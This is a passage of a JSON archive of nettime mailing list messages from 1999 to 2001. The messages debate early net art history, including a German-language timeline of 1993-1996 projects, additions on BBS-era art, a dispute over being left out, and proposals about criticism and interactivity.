application, clearly is not a piece of net art).\n\nThe category \"software art\" was created for transmediale.01 to embrace a\nwhole range of digital art which simply doesn't fit into \"net art\", although\nboth terms are not mutually exclusive. Please think of it as an extension,\nnot as revisionism.\n\nFlorian\n\n\n(member of the transmediale.01 artistic software jury)\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "id": "00249",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0102/msg00249.html",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200102241924.OAA21181 {AT} bbs.thing.net",
                "date": "Sat, 24 Feb 2001 12:00:32 +0100",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "software art vs. net art, was: Re: <nettime> net art history (digest)"
            },
            {
                "id": "00268",
                "content": "\nOlia's right! Josephine's right! The critics are short on time, and \nhaving them spend it doing interviews just creates a bunch of Art Stars \n- it's essentially a whole new Art World created in the process of \ntrying to flee the old one... and look what we've got; overworked \ncritics, unhappy net artists... this won't do....\n\nI propose a new approach, as part of the Plagiarist \"New Millenium \nDisorder\" project: The Interview Yourself Project. Since it will \nhopefully generate lots of interviews, the acronym will be the\n\"IY-IY-IY-IY-IY\" Project. Everyone, please interview yourself, and post \nyour interview to the usual mailing lists; heck, I'll even make a whole \nwebsite for the archives if people submit them.\n\nThink of the benefits... it subverts the Net Art World Institution, and \nmakes everyone a star.... or, uh, makes nobody a star, depending on how \nyou want to look at it... it finally gives the interviewees a chance to \nanswer the kinds of questions they *wish* they'd be asked about their \nwork... it gives us shy people who sometimes clam up with real \ninterviewers the chance to finally open up in an interview...  and, it \nsaves wear and tear on critics and journalists! Concerned that the tough \nquestions won't get asked? Not to worry; IY-IY-IY-IY-IY doesn't preclude \ncritics from doing interviews, just sort of er, open sources the \ninterview process. (I just love working \"open source\" in anywhere I can... )\n\nSo, hop to it everybody! (you too, critics!) you've got an interview to \nprepare - History Awaits!\n\n- {AT} \n\n\nolia lialina wrote:\n\n\nJosephine Bosma wrote:\n\n>err.... ascii paparazzi? Sorry dear Olia, this is too insulting to come\n>from you. Anyway, the biggest problem net art journalists and observers\n>have is that we are too few with too much to do.\n\nJosephine, I don't underestimate your work. The paragraph you refer to is\nfull of love and respect. And I do enjoy interviews as a genre (I love\ndialogues).\n\nBut it is a pity that interviews dominate the critics' output.\n\nThe interview approach cultivates stars, not ideas. And stars, especially\nsuperstars, can be very lovely targets. You can pronounce them dead\nwhenever you like. Ideas live longer.\n\nInterviews are easy to read. They catch a moment. They let future readers\ntouch the past. A picture develops. History's created. But it's a history\nof artists' arrogance, self promotion, mood changes.\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "to": "nettime-l {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0102/msg00268.html",
                "list": "nettime_l",
                "author_name": "Amy Alexander",
                "subject": "<nettime> Re:  net art history - Interview Yourself!",
                "from": "Amy Alexander <plagiari {AT} plagiarist.org>",
                "follow-up": [
                    {
                        "from": "Josephine Bosma <jesis {AT} xs4all.nl>",
                        "content": "\nAmy Alexander wrote:\n\n> I propose a new approach, as part of the Plagiarist \"New Millenium\n> Disorder\" project: The Interview Yourself Project. \n\nI like that. Let me think what I'ld like to talk to myself about... \n\nBut something else. Why not an 'artists for artists' kind of project\n(like we have a 'mothers for mothers' support group in Holland in which\npregnant women donate urine to make other women get pregnant easier, a\nkind of furtiliser. Do you like the comparison?), whereby artists also\nwrite criticisms of artworks of other artists? It might be a nice\nvariation of criticizing critics and how badly they do their job. Also\nit might produce some damn good new critics! \n\n\nbest\n\n\n\nJ\n*\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "id": "00272",
                        "date": "Mon, 26 Feb 2001 17:18:15 +0100",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200102270222.VAA16442 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0102/msg00272.html",
                        "content-type": "text/plai",
                        "author_name": "Josephine Bosma",
                        "subject": "<nettime> Re:  net art history - Interview Yourself!"
                    }
                ],
                "message-id": "200102261203.HAA10360 {AT} bbs.thing.net",
                "date": "Sat, 24 Feb 2001 23:16:12 -0800",
                "content-type": "text/plai"
            },
            {
                "id": "00082",
                "content": "\nTilman-RFC #1: net art history 1993 - 1996\n\n\nHi!\n\nHere's the outcome of my effort to experiment with collective history\nwriting:  a time line for the catalogue of the \"net_condition\" show at the\nZKM in Karlsruhe, Germany. \n\nOne month ago I mailed out a proposal to inform me about early net art\nprojects. It resulted in the following list of projects and art works that\nhappened between 1993 and 1996. Some of them were suggested to me by email,\nother came from my own - not very good - memory. After 1996, the whole\nfield became too big to continue to collect things in such a fashion. I was\nsurprised how many early projects were there, some of them I had never\nheard about, and how many of them are still online. \n\nIt is in German, but it should still be understandable. I listed the works\nwith \n\nmonth of their creation, \n\nartist, \n\ntitle, \n\nURL \n\nand sponsor, festival where it was first shown or the institution by which\nit was commissioned etc. \n\nFor every year there's a seperate section that lists important conferences,\nshows, events, the creation of art servers, context systems etc. \n\nAny further suggestions, hints are welcome, even though my deadline is\napproaching fast. If you want to add something, please do so in the format\ndescribed above. It is not a completely open process, and I will filter out\nthings, that I find irrelevant, but actually so far I included most of the\nworks that were suggested to me, because there were some really surprising\nthings that I didn't know about. \n\nThis whole methology obviously leaves open a lot of questions, but I think\nit is interesting to put history together in such a fashion. Call it\nOpen-Source-History, if you will, with me as the maintainer. ;-)\n\nI still have some errands running, but hope to finish this whole, quite\nlabor-intensive project next week. So speak out now, or be silent forever. \n\nYours, \nTilman Baumgaertel \n\n------------SCHNAPP!----------------\n\n1993\n\nM\u00e4rz 1993\nStation Rose mit DJ Dag\nGunafa-Club (Hypermedia-Live-Performances in verschiedenen Clubs in\nDeutschland und \u00d6sterreich)\nwww.stationrose.com * \n\nApril 1993\nDavid Blair\nWaxweb als M-Bone-Multicast \nwww.waxweb.org * \n\nMai 1993\nx-space (Gerfried Stocker, Horst H\u00f6rtner, Arnold Fuchs, Anton Maierhofer,\nWolfgang Reinisch, Jutta Schmiederer) \nwinke winke\ngewi.kfunigraz.ac.at/~gerfried/winke\n\nNovember 1993\nMark Amerika u.a. \nAlt-X als Gopher-Hypertext\nwww.altx.com *\n\nNovember 1993\nDavid Lichy\nEvent Spaces 1\nweb.raex.com/~voyd/terrain/est1\n\nDezember 1993\nDavid Blair\nWaxweb als Hypertext in MOO\nwww.waxweb.org *\n\n\nAusstellungen, Online-Galerien, Kontextsysteme und andere\nNetzkunst-Institutionen\n\nM\u00e4rz 1993\nOnline - Kunst im Netz (Konferenz)\nSteirischer Herbst, Graz, \u00d6sterreich\ngewi..kfunigraz.ac.at/~gerfried/online/\n\n\n----------------------------------------------------------------------------\n--------\n\n1994\n\nJanuar 1994\nAndy Deck\nAndyland\nwww.artcontext.com/andyland/old/1994/ *\n\nM\u00e4rz 1994\nDavid Blair\nWaxweb mit Web-Interface\nwww.waxweb.org *\n\nMai 1994\nAntonio Muntadas\nThe File Room\nsimr02.si.ehu.es/FileRoom/documents/TofCont.html * \nRandolph Street Gallery, Chicago \n\nJuli 1994\nMark Amerika u.a.\nAlt X \u0084er\u00f6ffnet\u0093 mit der Ausstellung \u0084The Floating Gallery of the Mind\u0093\nseine Pr\u00e4senz im WorldWideWeb\nwww.altx.com *\n\nAugust 1994\nAlexei Shulgin: Hot Pics\nredsun.cs.msu.su/wwwart/hotpics/ *\n\nAugust 1994\nKen Goldberg\nThe Mercury Project\nwww.usc.edu/dept/raiders/\nUniversity of Southern California, Los Angeles\n\nSeptember 1994\nDouglas Davis\nThe World's First Collaborative Sentence\nmath240.lehman.cuny.edu/sentence1.html\nCity University of New York Lehman College, New York\n\nOktober 1994\nPaul Garrin\nFluxus-Online\nwww.panix.com/~fluxus\nFluxus Festival \"Seoul NyMax\", Anthology Film Archives, New York\n\nNovember 1994\nSodomka/Breindl, x-space und Norbert Math\nState of Transition\nhttp://thing.at/orfkunstradio/1994B/10_11_94.html\nORF Kunstradio\n\nDezember 1994\nNina Sobell und Emily Hartzell\nPark Bench\nwww.cat.nyu.edu/parkbench\nCemter for Advanced Technology, New York University\n\nDezember 1994\nBrad Brace\nThe 12hr-ISBN-JPEG Project\nwww.teleport.com/~bbrace/12hr.html\n\n\nAusstellungen, Online-Galerien, Kontextsysteme und andere\nNetzkunst-Institutionen\n\nJanuar 1994\nDie digitale Staad Amsterdam\nwww.dds.nl\n\nM\u00e4rz 1994\nt0 Public Netbase\nwww.t0.or.at\nBundeskuratorin f\u00fcr Bildende Kunst, Wien, \u00d6sterreich\n\nSeptember 1994\nAdaweb\nadaweb.walker.org *\nDigital City\n\nSeptember 1994\nSusan Farell, Bret Webb u.a.\nArtcrimes *\nwww.artcrimes.com\n\nOktober 1994\nMinima Media\nMedienbiennale Leipzig\nwww.v2.nl/~arns/Archiv/Media/med-94.htm (D)\n\nOktober 1994\nHotwired\nwww.hotwired.com\nWired\n\nNovember 1994\nDie Internationale Stadt Berlin\nwww.icf.de *\n\n\n----------------------------------------------------------------------------\n--------\n\n1995\n\nFebruar 1995\nJulia Sher\nSecurityland\nadaweb.walkerart.org/project/secure/corridor/sec1.html\nAdaweb\n\nM\u00e4rz 1995\nTony Oursler, Constance DeJong, Stephen Vitiello\nFantastic Prayers\nwww.diacenter.org/rooftop/webproj/fprayer/fprayer.html\nDia Center of the Arts\n\nMai 1995 (Mailbox-Version bei BIONIC seit 1989)\nPooL Processing (Heiko Idensen und Matthias Krohn)\nDie imagin\u00e4re Bibliothek\nwww.hyperdis.de/pool\nArs Electronica\n\nMai 1995\nJenny Holzer\nPlease change belief\nadaweb.walkerart.org/project/holzer/cgi/pcb.cgi\nAdaweb\n\nMai 1995\nDavid Blair\nWaxweb mit 3-D-Interface\nwww.waxweb.org *\n\nSommer 1995\nRichard Kriesche\nTelematic Sculpture 4\niis.joanneum.ac.at/kriesche/\nVenedig Biennale\n\nJuni 1995\nMichael Bilecki\nExodus\nexodus.avu.cz\nArs Electronica\n\nJuni 1995\nHorizontal Radio (Koordination: Heidi Grundmann und Gerfried Stocker, mit\n\u00fcber hundert K\u00fcnstlern aus der ganzen Welt)\ngewi.kfunigraz.ac.at/~gerfried/horrad/horrad1.html\nArs Electronica\n\nJuli - November 1995\nVictoria Vesna\nVirtual Concrete\narts.ucsb.edu/concrete/\nHuntington Beach Museum, Los Angeles, USA \n\nJuli 1995 - Januar 1998\nJohn F. Simon\nAlter Stats\nwww.numeral.com/alterend.html *\nSandra Geringer Gallery, New York/Adaweb, New York\n\nSommer 1995\nKen Feingold\nTelegarden\ntelegarden.aec.at *\nAnnenberg Center at the University of Southern\nCalifornia und Adept Technology, Los Angeles, USA\n\nSommer 1995\nShu Lea Cheang u.a.\nBowling Alley\nbowlingalley.walkerart.org *\nWalker Center of the Arts, Minneapolis, USA\n\nAugust 1995\nJoan Heemskerk und Dirk Paesmans \njodi\nwww.jodi.org\n\nAugust - Dezember 1995\nPhilip Pocock und Felix S. Huber\nArctic Circle\nwww.icf.de/tcancer\nAusstellung \u0084Fotografie nach der Fotografie\u0093 in M\u00fcnchen, Deutschland\n\nSeptember 1995\nEva Wohlgemuth & Kathy Rae Huffman\nSiberian Deal\nwww.icf.de/siberian\nHilus, Wien, \u00d6stereich\n\nSeptember 1995\nHeath Bunting u.a.\nIrational Gallery Ltd\nwww.irational.org\n\nSeptember 1995\nKomar und Melamid \nThe Most Wanted Painting\nwww.diacenter.org/km/\nDia Center of the Arts, New York, USA\n\nSeptember 1995 \nVera Frenkel\nBodyMissing\nwww.yorku.ca/BodyMissing\nISEA 95, Montreal, Canada\n\nSeptember 1995\nG.H. Hovagimyan: Art Direct (Mailbox-Version bei The Thing seit September\n1994)\nwww.thing.net/~gh/artdirect/\nArtnetweb, New York; The Thing, New York\n\nOktober 1995\nAlexei Shulgin, Tania Detkina, Alexander Nikolaev, Rachel Baker\nMoscow WWWArt Centre\nredsun.cs.msu.su/wwwart * \n\nOktober 1995\nFloating Point Unit (Jeff Gompertz, Bruno Ricard, Vlasta Volcano)\nExtremely Refrigerated (Performance mit CUsee me)\nwww.location1.org/fpu  (D)\nNew York, USA\n\nNovember 1995\nmezflesque.exe (Maryanne Breeze): Cutspace\nwollongong.starway.net.au/~mezandwalt/cutspace.htm\n\nDezember 1995 \nEva Grubinger\nComputer  {AT} ided curating\nwww.icf.de/CAC/\n\n\nAusstellungen, Online-Galerien, Kontextsysteme und andere\nNetzkunst-Institutionen\n\nJanuar 1995\nDia Center of the Arts beginnt eigene Netzkunst-Sammlung\nwww.diacenter.org\nDia Center of the Arts, New York, USA\n\nFebruar 1995\nArtnetweb (Ezine)\nartnetweb.com/philadelphia/artnetweb95 *\nNew York, USA\n\nM\u00e4rz 1995\nKonrad Becker, Francisco de Sousa Webber u.a.\nPublic Netbase t0\nwww.t0.or.at\nWien, \u00d6sterreich\n\nMai 1995\nSwitch (Ezine)\nswitch.sjsu.edu\nSan Jose State University, USA\n\nJuni 1995\nWolfgang Staehle u.a.\nThe Thing International im WWW\nwww.thing.net\nwww.thing.or.at\n\nJuni 1995\nArs Electronica \u0084Welcome to the Wired World\u0093, bei der zum ersten Mal ein\nPrix Ars Electronica in der Kategorie \u0084.net\u0093 verliehen wird\nwww.aec.at\nLinz, \u00d6sterreich\n\nAugust 1995\nTool (Gruppenausstellung)\nwww.screenarts.net.au/tool/tool01 *\nUrban Exile Galerie, Syndey \n\nOktober \nChannel (Online Galerie)\nwww.channel.org.uk\nARTEC, London\n\nNovember 1995\nMonstersoup (Gruppenausstellung)\nwww.chickenfish.cc/subtle/monstersoup *\nChimera Online Gallery, Australien\n\nDezember 1995\nInterfiction (Netzwerker-Treffen)\nwww.uni-kassel.de/interfiction\nKasseler Dokumentarfilm- & Videofestes, Kassel, Deutschland\n\n----------------------------------------------------------------------------\n--------\n\n1996\n\n\nJanuar/Februar 1996\nPhilip Pocock, Florian W\u00fcst, Felix S. Huber, Christoph Keller\nArctic Circle\nwww.thing.net/~circle\n\nM\u00e4rz 1996\nSensorium\nWorld Ear\nwww.sensorium.org/worldear/index.html\n\nM\u00e4rz  1996 \netoy\nDigital Hijack\nwww.hijack.org\n\nMai 1996\nMasaki Fujihata\nGlobal Clock Project\nwww.flab.mag.keio.ac.jp/GClock/\n\nJuli 1996\nPaul Garrin\nname.space\nwww.autono.net\n\nOktober 1996\nAlexei Shulgin, Vuk Cosic et al\nRefresh\nsunsite.cs.msu.su/wwwart/fresh.html\n\nNovember 1996\nSensorium\nWeb Hopper\nwww.sensorium.org/webhopper/index.html\n\nAusstellungen, Online-Galerien, Kontextsysteme und andere\nNetzkunst-Institutionen\n\nJanuar 1996\nG.H. Hovagimyan, Adrienne Wortzel, Robin Murphy\nArt Dirt (Kunst-Talkshow im Real-Audio-Format bei pseudo.com)\nwww.walkerart.org *\n\nJanuar 1996\nNext five minutes, Amsterdam (Konferenz)\nwww.dds.nl/~n5m\n\nFebruar 1996\nnettime  (Mailing-list)\nwww.nettime.org *\n\nFebruar 1996\nRhizome (Mailing-list)\nwww.rhizome.org *\n\nFebruar 1996 \nSyndicate (Mailing-list)\nwww.v2.nl/east\n\nApril 1996\nBackspace, London (Internet-Cafe)\nwww.backspace.org\n\nMai 1996 \nTelepolis, M\u00fcnchen (Ezine)\nwww.heise.de/tp *\n\nJuni 1996\nC3, Budapest (Media Lab)\nwww.c3.hu\n\nNovember 1996\nTool20b (Gruppenausstellung)\nUrban Exile Galerie, Sydney\nwww.screenarts.net.au/tool/ * \n\n\n\n...................\nI think, \nand then I sink\ninto the paper \nlike I was ink.\nEric B. & Raakim: Paid in full\n\nDr. Tilman Baumgaertel, email: tilman {AT} thing.de\nMY HOMEPAGE HAS MOVED!!! http://www.thing.de/tilman\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "to": "nettime <nettime-l {AT} bbs.thing.net>",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9912/msg00082.html",
                "list": "nettime_l",
                "author_name": "Tilman Baumgaertel",
                "subject": "<nettime> Tilman-RFC #1: net art history 1993 - 1996",
                "from": "Tilman Baumgaertel <tilman_baumgaertel {AT} csi.com>",
                "follow-up": [
                    {
                        "from": "\"Armin Medosch\" <armin {AT} easynet.co.uk>",
                        "content": "\n\nTelepolis\nExhibition and Conference on the Interactive and Networked City\n4.11. - 12.11.1995\n\nIn the \"Art\" section of the exhibition the following works were \npresented:\n\nElectronic Gallery, Kunstlabor, Vienna\nViews, Ulrike Gabriel\nThe Egg of the Internet, netband (Feigl, Hobijn, Solomon, Verdult)\nStone Age Computer, Mathilde MuPe\nUrban Exercises, LOT, Sabine Bitter, Helmut Weber\nTelepolis in VRML, Nicolas Anatol Baginsky\nLabyrinth, Stanislav Miler\nMusers Service, Daniela Plewe\nSound Image Crossing, Keigo Yamamoto\nVarious VRML-projects by EZTH Zurich, Florian Wenz\n\nAdditionally to the art section, there was a general purpose cybercafe\nwhich was installed by Media Lab Munich, where, among others, digital\ncity, Internationale Stadt and other collaborative art projects or\n\"context systems\" were shown. \n\nUnfortunately this URL is not active any more: \nhttp://www.lrz-muenchen.de/MLM/telepolis.html\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "id": "00092",
                        "date": "Mon, 13 Dec 1999 11:25:38 +0000",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "199912131511.KAA02496 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9912/msg00092.html",
                        "content-type": "text/plai",
                        "author_name": "Armin Medosch",
                        "subject": "Re: <nettime> Tilman-RFC #1: net art history 1993 - 1996"
                    }
                ],
                "message-id": "199912112048.PAA25621 {AT} bbs.thing.net",
                "date": "Sat, 11 Dec 1999 18:24:31 +0100",
                "content-type": "text/plai"
            },
            {
                "id": "00087",
                "content": "\nI responded to Tilman's request for information regarding art on line projects\nbetween 1993-1996.\n\nI was shocked by his innapropriately arrogant and pugnacious response:\n\nHere it is:\n\nDooley Le Cappellaine responds to Tillman's request:\n\n I made some trail sites during 1995 and put one up early/mid 1996.\n\n\n>At 15:12 15.11.99 -0500, you wrote:\n>>\n>>Hello Tillman,\n>>I am an artist and curator.\n>>From 1988-94 I ran a gallery of cutting edge contemporary art in SoHo New\n>York.\n>>During 1994 I got very interested in new media and decided to close my\n>>galley in order to focus on my work in this new medium.\n>>From late 1994 through September 1996 I worked on a CD Rom and website.\n>>The CD Rom was titled \"Technophobia\" and is an interactive exhibition of\n>>artists making artworks in New Media. I thought at the time I would produce\n>>CD Rom exhibitions the way I had presented real exhibitions in a gallery.\n>>I saw a few really Horrible on-line gallery sites and decided to\n>>concentrate on work that used New Media as an Art Medium rather than an\n>>archival or electronic catalog.\n>>Learning the progammes and buying the hardware that were necessary to\n>>realize MY plans and to realize the  artists' projects for CD Rom, was a\n>>huge investment of time and money.\n>>Also the website had to be totally made from scratch as the material from\n>>the CD Rom was far too high in file size to present on the web.\n>>So the website: Dooley Le Cappellaine Gallery; became an exhibtion site for\n>>the artists on \"Technophobia\".\n>>It was the first exhibition on the site and has been remade/upgraded\n>>countless times as my skills and the possibilities of the web expanded.\n>\n>So when did that go online exactly?\n>\n>>\n>>In late 1995 I met Wolfgang Staehle of \"The Thing\". I knew he'd exhibited a\n>>version of \"the thing' as an art work at TZ Gallery in New York (through\n>>Tom Zollner) and I was intrigued.\n>>I think it can accurately be said that Wolfgang was the the first person in\n>>the \"artworld\" in New York at that time to be seriously exploring what for\n>>the moment is being called \"New Media\".\n>\n>I know all that.\n>\n>>However at that time it was shockingly primative; just people exchanging\n>>typed- out text messages: not much more that a crystal radio set.\n>>\n>>When I was inviting artists to participate in \"Technophobia\" I talked to\n>>Wolfgang again; \"The thing\" had really morphed from an artwork into a\n>>business.\n>>\"the Thing\" became the ISP for my gallery at http://www.thing.net/dooley.\n>\n>As I said, i need the date.\n>\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\nMy Response: I sent Tillman an approximate date : early 1996.\n\n Also I telephoned my server: Thing.net to get the exact date my site went\non line and received no reply.\n\n\n\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\nMy Response:\n\nI recall the approximate time I put my first announced site up to be early\n1996.\nand e-mail Tilman, with the information it can be corabborated by records\nat Thing .net.\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\nNo response from Tilman,\nbut his posting at nettime eliminating me from his survey, appears on this\nlist.\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n\nI go through my American Express accounts and find I was paying for my\nsite/space from March 1996.\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\nDooley Le Cappellaine\nhttp:www.thing.net/dooley\n\nhttp://www.thing.net/dooley\nPhone and Fax (212) 966-3046\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "to": "nettime <nettime-l {AT} bbs.thing.net>",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9912/msg00087.html",
                "list": "nettime_l",
                "author_name": "Dooley Le Cappellaine",
                "subject": "<nettime> re: Tilman-RFC #1: net art history 1993 - 1996",
                "from": "Dooley Le Cappellaine <dooley {AT} thing.net>",
                "follow-up": [
                    {
                        "from": "lorian Cramer <paragram {AT} gmx.net>",
                        "id": "00098",
                        "content": "\nAm Sat, 11.Dec.1999 um 18:24:31 +0100 schrieb Tilman Baumgaertel:\n\n> One month ago I mailed out a proposal to inform me about early net art\n> projects. It resulted in the following list of projects and art works that\n> happened between 1993 and 1996. Some of them were suggested to me by email,\n> other came from my own - not very good - memory. \n\nI am quite surprised to see that your timeline starts as late as in 1993.\nAgain, we can argue whether \"net art\" (i.e. net art in a broader sense than\nthe particular school of \"Net.Art\") is identical with \"World Wide Web art\".\nMy opinion obviously differs.\n\nSince you speak of \"net art\" and not of \"Internet art\" in particular, I\nwould certainly include BBSes into this history. \n\nEven without BBSes, I would clearly root the beginnings of Internet art\nactivities in such manifestations as the \"alt.artcom\" newsgroup (established\nby the editors of the Canadian \"Art Com\" journal whose editors also\npublished the Mail Art source book \"Correspondence Art in 1985), the\n\"Postmodern Culture\" e-journal with the \"PMC-talk\" listserver and\nCrackerjack Kid's Networker's Telenet Link around 1991. In my memory of\nthese days of the Internet - or EARN/Bitnet, respectively -, these were the\n_only_ arts-related forums in global computer networks. For net culture, the\ndiscussions in \"PMC-Talk\" were at least as significant as those in Nettime\nbecame later. \n\nalt.artcom\n\nQuotations/resources\n\n\"In 1991 there were roughly two dozen mail artists with PCs and modems,\nmostly Americans, who could access one another through information\nsuperhighways like internet, bitnet, CompuServe and America Online.\"\nChuck Welch <http://www.actlab.utexas.edu/emma/Gallery/telenetlink.html>)\n\n\"Artists are using computer networks, and it is impacting not only their\nmethods of dialogue and distribution, but their creative process and\naesthetic output. In the cyberspace of computer networks, still so\npervasively ASCII and ANSI, art works are not necessarily about visual\nimages but instead communications -- many investigate interactivity,\ncollaboration, interface, connectivity, and the relationship between artist,\nart work, and viewer.\"\nAnna Couey, Cyber Art: The Art of Communication Systems, Matrix News, Volume\n1, Number 4, (July 1991)\n\n1980\nARTEX\nRobert Adrian X\nConferencing system on I. P. Sharp APL Network used for art projects\n\n1986\nArtcom forum in The Well BBS\nCarl Eugene Loeffler and others\nSF Bay Area\nrouted into the Usenet as alt.artcom (and still existing today), includes\nelectronic distribution of Art Com journal articles\n\n1987\nTAM\nRuud Janssen\nAmsterdam\nMail-Art BBS (now in the World Wide Web:\n<http://www.geocities.com/Paris/4947/>)  \n\n\n1990, summer\nPanscan Conference on ECHO BBS (later echonyc.com)\nMark Bloch\nNew York City\nproduction of a collaborative E-Mail poem (text at\n<http://www.echonyc.com/~panman/epoem.html>)\n\n1990\nMatrix Artists Network BBS\nToronto, Canada\n\n199?\nTAM\nby Ruud Jansen\nTilburg/Netherlands\n\n1990, June 17\nPMC-Talk\nlaunch of \"postmodern culture\" mailing list in the Internet and on\nERAN/Bitnet\nUniversity of Virginia\n\n1990, Fall \nPostmodern Culture \nFirst issue of the Internet e-journal\nUniversity of Virginia\n\n1991, February 6\nLe Mus\u00e9e Standard\nby La Soci\u00e9t\u00e9 de Conservation du Pr\u00e9sent\nGraphical BBS based on the French-Canadian Minitel standard\nMontr\u00e9al, Qu\u00e9bec\n(Conceived and programmed by the conceptual art group SCP, this\nproto-Website contained - among others - computer-generated poetry and\n\"Notre M\u00e9dium: Le Syst\u010dme\", a sophisticated system of pictograms.)\n\n1991, June\nNetworker Telenetlink\nby Crackerjack Kid (a.k.a. Chuck Welch)\nSao Paolo Biennal\n\n1991\nR.A.T. Mail Art Archive\nby Charles Francois\nLi\u010dge/Belgium\nMail Art BBS\n\n1992\nGlobal Mail\nby Ashley Parker-Owens\nInformation/announcement sheet on Mail Art and related activities, published\non \"The Well\" via gopher and E-Mail\n\n1994, February\nSpoon Lists\nby Spoon Collective\nMailing lists on cultural theory\n\n1994\nFast Breeder\nLondon\nBBS operated by Matthew Fuller, Graham Harwood et.al.\n\n1994\nThe Seven by Nine Squares/Neoism Online\nBerlin\nBBS from March 1994-March 1995\nWeb Site since March 1995\nrelaunched as <http://www.neoism.org> in January 1996\n\n...\n\nI am sure there are many more...\n\nFlorian\n\n\n-- \nFlorian Cramer, PGP public key ID 6440BA05\nPermutations/Permutationen - poetry automata from 330 A.D. to\npresent: <http://userpage.fu-berlin.de/~cantsin/index.cgi>\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "date": "Tue, 14 Dec 1999 00:00:42 +0100",
                        "to": "nettime <nettime-l {AT} bbs.thing.net>",
                        "message-id": "199912132244.RAA05220 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9912/msg00098.html",
                        "content-type": "text/plai",
                        "author_name": "Florian Cramer",
                        "subject": "<nettime> Re: Tilman-RFC #1: net art history 1993 - 1996"
                    }
                ],
                "message-id": "199912122106.QAA31271 {AT} bbs.thing.net",
                "date": "Sat, 11 Dec 1999 22:28:27 -0500",
                "content-type": "text/plai"
            },
            {
                "from": "Sean Cubitt <s.cubitt {AT} livjm.ac.uk>",
                "content": "\nI like Melinda Rackham's quote from Tiia Johnson about 'making them wait'\nfor download. Download, like the crash, the freeze, upload and boot up,\nare temporal modes that are the last vestige of labour time on the web,\ngiving the lie to the mythology of instantaneous transmission. \n\nBut there is another point to add, a small one: what we have by way of\nbrowsers are not interactiv, or at least not interactive enough. We can\nclick, we can to some extent navigate, we can publish, but we can't\nre-edit someone else's work without downloading it and republishing the\nreedited version on a different server. Netscape and IE are both based on\nthe principle of user-friendly admission to a publishing medium, not to\ngenuine interactivity. Perhaps this can't be done on the wide open spaces\nof the net but only on intra/extranets where some degree of responsibility\nand trust can be presumed. Nonetheless, the model of the Amaya browser\nseems to me the kind of tool we will need if we are going to get\ninteractivity of any real sort online. That will mean, as well, some\nradical eductaion in democracy: if the authorship of works moves from\nauthors to users, then the responsibility also shifts in proportion. \n\nSo to add my crumbly bit of old cheese to the definine.net.art flan, a\nthing is net.art if the user takes responsibility for the work\n\nsean\n\n-- \nSean Cubitt\nScreen Studies\nLiverpool John Moores University\nDean Walters Building\nSt James Road\nLiverpool L1 7BR\nEngland\nT: 44 (0)151 231 5030/5007\nF: 44 (0)151 231 5049\n\n***Note new URL for Screen Studies Online courseware***\nU: http://www.staff.livjm.ac.uk/mccscubi/screen.html\n\nNow Available: Digital Aesthetics, Theory, Culture and Society/Sage London\nand New York http://www.ucl.ac.uk/slade/digita\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "id": "00106",
                "list": "nettime_l",
                "date": "Tue, 14 Dec 1999 12:44:07 +0000",
                "to": "nettime  <nettime-l {AT} bbs.thing.net>",
                "message-id": "199912141719.MAA09878 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9912/msg00106.html",
